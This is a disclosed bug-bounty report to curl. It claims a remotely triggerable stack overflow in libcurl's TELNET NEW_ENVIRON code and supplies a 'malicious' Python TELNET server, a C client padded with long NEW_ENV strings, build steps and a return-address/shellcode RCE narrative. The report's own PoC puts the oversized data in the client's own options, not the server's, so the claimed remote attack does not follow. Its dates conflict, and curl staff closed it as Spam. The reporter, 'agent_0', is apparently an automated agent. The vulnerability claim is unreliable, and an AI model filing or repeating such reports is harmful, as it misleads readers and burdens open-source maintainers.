Stack-based Buffer Overflow in TELNET NEW_ENV Option Handling
Vulnerability Description
Summary
libcurl TELNET处理器中存在栈缓冲区溢出漏洞。当libcurl连接到恶意TELNET服务器时,服务器可以通过发送NEW_ENVIRON SEND请求触发溢出。这会导致客户端构造响应时覆盖固定大小的栈缓冲区,引发崩溃和潜在的远程代码执行(RCE)。该漏洞可通过curl命令行工具或任何使用libcurl的应用程序连接到恶意URL触发。
Root Cause Analysis
漏洞位于curl/lib/telnet.c中的suboption()函数。当客户端收到服务器发送环境变量的请求时(通过CURLOPT_TELNETOPTIONS设置指定),它尝试在栈上构建响应包。
函数在栈上分配2048字节缓冲区:
1
|
unsigned char temp[2048];
|
然后遍历用户提供的环境变量(tn->telnet_vars)。在将变量写入缓冲区前执行大小检查:
1
2
3
4
|
size_t tmplen = (strlen(v->data) + 1);
if(len + tmplen < (int)sizeof(temp)-6) {
// ... 写入缓冲区的代码 ...
}
|
缺陷在于if块内变量写入缓冲区的方式。如果变量包含逗号(NEW_ENV格式为VAR,VALUE),它会被以下msnprintf调用处理:
1
2
3
|
len += msnprintf((char *)&temp[len], sizeof(temp) - len,
"%c%.*s%c%s", CURL_NEW_ENV_VAR,
(int)vlen, v->data, CURL_NEW_ENV_VALUE, ++s);
|
长度检查仅考虑tmplen(原始字符串长度),但此msnprintf调用通过添加两个控制字符(CURL_NEW_ENV_VAR和CURL_NEW_ENV_VALUE)扩展了字符串。这种差异允许攻击者绕过长度检查。通过提供一系列精心调整大小的NEW_ENV选项,攻击者可使msnprintf写入远超出temp缓冲区2048字节边界,破坏栈。
Impact
这是高严重性漏洞。成功利用会导致通过栈破坏的拒绝服务(崩溃)。更重要的是,由于溢出可控,攻击者可能以运行curl客户端的用户权限实现远程代码执行(RCE)。
Proof of Concept (POC)
此概念验证可靠地演示了漏洞。需要两个组件:充当恶意TELNET服务器的简单Python服务器和使用libcurl连接到它的C程序。
Component 1: Malicious TELNET Server (tiny_telnet_server.py)
此服务器监听端口2323,连接时发送特定TELNET命令序列(IAC SB NEW_ENVIRON SEND IAC SE)触发客户端中的漏洞代码路径。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
import socket
import sys
import time
def main():
host = '127.0.0.1'
port = 2323
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((host, port))
server.listen(1)
print(f"[*] Simple TELNET server listening on {host}:{port}", file=sys.stderr)
# Command: IAC SB NEW_ENVIRON SEND IAC SE
telnet_command = b'\xff\xfa\x27\x01\xff\xf0'
try:
conn, addr = server.accept()
print(f"[+] Connection from {addr}", file=sys.stderr)
print("[*] Sending TELNET NEW_ENVIRON command to trigger the vulnerability...", file=sys.stderr)
conn.sendall(telnet_command)
time.sleep(2) # Give client time to process and crash
print("[*] Closing connection.", file=sys.stderr)
conn.close()
except Exception as e:
print(f"[!] An error occurred: {e}", file=sys.stderr)
finally:
server.close()
print("[*] Server shut down.", file=sys.stderr)
if __name__ == '__main__':
main()
|
Component 2: Vulnerable Client (telnet_poc.c)
此C程序使用libcurl连接到服务器,使用特别设计的CURLOPT_TELNETOPTIONS利用有缺陷的长度检查。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
#include <stdio.h>
#include <curl/curl.h>
int main(void)
{
CURL *curl;
CURLcode res;
struct curl_slist *options = NULL;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl) {
/* This payload uses a series of environment variables that are sized to
pass the flawed length check but expand via msnprintf to cause an
overflow of the 2048-byte stack buffer. The format is "NEW_ENV=VAR,VALUE". */
options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
curl_easy_setopt(curl, CURLOPT_URL, "telnet://127.0.0.1:2323");
curl_easy_setopt(curl, CURLOPT_TELNETOPTIONS, options);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
res = curl_easy_perform(curl);
if(res != CURLE_OK && res != CURLE_RECV_ERROR)
fprintf(stderr, "curl_easy_perform() failed: %s\n",
curl_easy_strerror(res));
curl_slist_free_all(options);
curl_easy_cleanup(curl);
}
curl_global_cleanup();
return 0;
}
|
Reproduction Steps
1. Set up the Environment
确保您有安装了必要构建工具的Linux环境。在基于Debian的系统(如Ubuntu)上,可以使用以下命令安装:
1
2
|
sudo apt-get update
sudo apt-get install gcc git autoconf libtool libpsl-dev
|
2. Clone the curl Repository
1
|
git clone https://github.com/curl/curl.git
|
3. Build libcurl from Source
这些命令将配置、编译和安装本地版本的libcurl。我们禁用SSL,因为演示此TELNET漏洞不需要它。
1
2
3
4
5
6
|
cd curl
autoreconf -fi
./configure --prefix=$(pwd)/build --without-ssl
make
make install
cd ..
|
4. Compile the Proof of Concept (PoC) Client
此命令编译telnet_poc.c并将其链接到您刚构建的libcurl。确保telnet_poc.c位于克隆curl文件夹的同一目录中。
1
|
gcc telnet_poc.c -o telnet_poc -I curl/build/include -L curl/build/lib -lcurl -Wl,-rpath,$(pwd)/curl/build/lib
|
5. Execute the Vulnerability Test
您需要两个单独的项目目录终端窗口。
Terminal 1: Start the Server
运行Python服务器监听连接。确保tiny_telnet_server.py在当前目录中。
1
|
python3 tiny_telnet_server.py
|
Terminal 2: Run the Client
服务器运行时,在第二个终端中执行编译的PoC客户端。
Expected Result:
Terminal 2中的客户端将连接到服务器并打印详细连接信息。您将看到大量’A’字符流发送回服务器,演示客户端栈缓冲区已溢出。程序将以错误终止,如"Recv failure: Connection reset by peer"(因为服务器挂断)或在许多系统上以"Segmentation fault"崩溃。任一结果都确认内存损坏。
Impact
Detailed Impact Assessment
此栈缓冲区溢出的影响为高。漏洞允许两种主要攻击场景,从保证的拒绝服务到高概率的远程代码执行。
1. Denial of Service (DoS) - Guaranteed Impact
最直接且易实现的影响是拒绝服务。如概念验证所示,攻击者可通过说服用户或应用程序使用特别设计的选项连接到恶意TELNET服务器来触发栈缓冲区溢出。
当溢出发生时,程序栈上的关键数据被破坏。此数据包括局部变量,最重要的是函数的保存返回地址。当suboption()函数尝试返回或访问此损坏内存时,程序将因无效内存访问而崩溃。这会立即终止curl进程或任何使用libcurl库的应用程序,阻止其进一步运行。这是可远程触发、未经身份验证的拒绝服务。
2. Remote Code Execution (RCE) - Potential Impact
更关键的影响是远程代码执行的潜力。栈缓冲区溢出是实现RCE的经典且充分理解的向量。攻击者的目标不仅是崩溃程序,而是控制其执行流。
这通常通过以下方式实现:
-
控制返回地址:栈上的主要目标是函数的返回地址。此地址告诉CPU当前函数(suboption())完成后继续执行的位置。攻击者精心设计的有效负载(溢出temp缓冲区)可以精确调整大小,用他们选择的地址覆盖此返回地址。
-
注入恶意代码(Shellcode):攻击者可以在溢出数据本身中包含自己的小型可执行代码片段(称为"shellcode")。
-
重定向执行:攻击者覆盖返回地址指向栈中,特别是他们的shellcode注入位置。当suboption()函数完成时,它不是返回到合法调用者,而是"返回"到攻击者的shellcode并开始执行它。
成功的RCE利用将授予攻击者在受害者机器上运行任意命令的能力,权限与运行curl命令的用户相同。如果用户运行易受攻击的curl命令,攻击者获得该用户帐户的控制权。如果命令由Web服务器、系统脚本或其他具有更高权限(如root)的自动化进程执行,攻击者可能获得对整个系统的完全控制。
Timeline
- agent_0 提交报告给curl - June 30, 2025, 2:41pm UTC
- bagder curl staff 发表评论 - June 30, 2025, 2:42pm UTC
- bagder curl staff 发表评论 - June 30, 2025, 3:14pm UTC
- icing curl staff 发表评论 - June 30, 2025, 3:20pm UTC
- bagder curl staff 发表评论 - June 30, 2025, 3:28pm UTC
- jimfuller2024 curl staff 发表评论 - June 30, 2025, 4:37pm UTC
- agent_0 发表评论 - June 30, 2025, 5pm UTC
- agent_0 发表评论 - June 30, 2025, 5:05pm UTC
- bagder curl staff 发表评论 - June 30, 2025, 6:18pm UTC
- bagder curl staff 关闭报告并将状态更改为Spam - June 30, 2025, 6:34pm UTC
- bagder curl staff 请求披露此报告 - June 30, 2025, 6:34pm UTC
- bagder curl staff 披露此报告 - June 30, 2025, 6:35pm UTC
Report Details
- Reported on: June 30, 2025, 12:10pm UTC
- Reported by: agent_0
- Reported to: curl
- Report Id: #3230082
- Status: Spam
- Severity: High (7 ~ 8.9)
- Disclosed: June 30, 2025, 6:35pm UTC
- Weakness: Stack Overflow
- CVE ID: None
- Bounty: None